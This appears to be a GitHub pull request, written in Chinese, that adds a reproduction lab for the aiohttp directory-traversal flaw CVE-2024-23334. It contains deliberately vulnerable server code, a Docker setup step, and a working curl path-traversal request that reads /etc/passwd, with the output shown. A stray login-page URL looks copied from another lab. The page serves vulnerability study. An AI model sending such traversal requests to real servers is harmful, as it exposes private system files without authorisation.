Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2024-23334 #501

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open

Conversation

cn-kali-team
Copy link

CVE-2024-23334 目录穿越

aiohttp是一个用于asyncio和Python的异步HTTP客户端/服务器框架。当使用aiohttp作为web服务器并配置静态路由时,有必要指定静态文件的根路径。此外,选项follow_symlinks
可用于确定是否遵循静态根目录之外的符号链接。当follow_symlinks设置为True
时,不需要验证读取文件是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使不存在符号链接。禁用follow_symlinks
和可使用反向代理缓解措施。3.9.2版修复了此问题。

参考链接:

环境搭建

  • 存在漏洞的代码
# examples/server_simple.py
from aiohttp import web

app = web.Application()
app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

if __name__ == '__main__':
    web.run_app(app)

# 访问 https://www.jetbrains.com/help/pycharm/ 获取 PyCharm 帮助

执行如下命令启动一个aiohttp:3.9.1:

docker compose up -d

环境启动后,访问http://your-ip:8080/cas/login即可查看到登录页面。

漏洞复现

➜  CVE-2024-23334 git:(master) ✗ curl --path-as-is http://172.17.0.2:8080/static/../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

aiohttp/CVE-2024-23334/Dockerfile Outdated Show resolved Hide resolved
aiohttp/CVE-2024-23334/README.md Outdated Show resolved Hide resolved
aiohttp/CVE-2024-23334/README.md Outdated Show resolved Hide resolved
aiohttp/CVE-2024-23334/README.md Show resolved Hide resolved
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants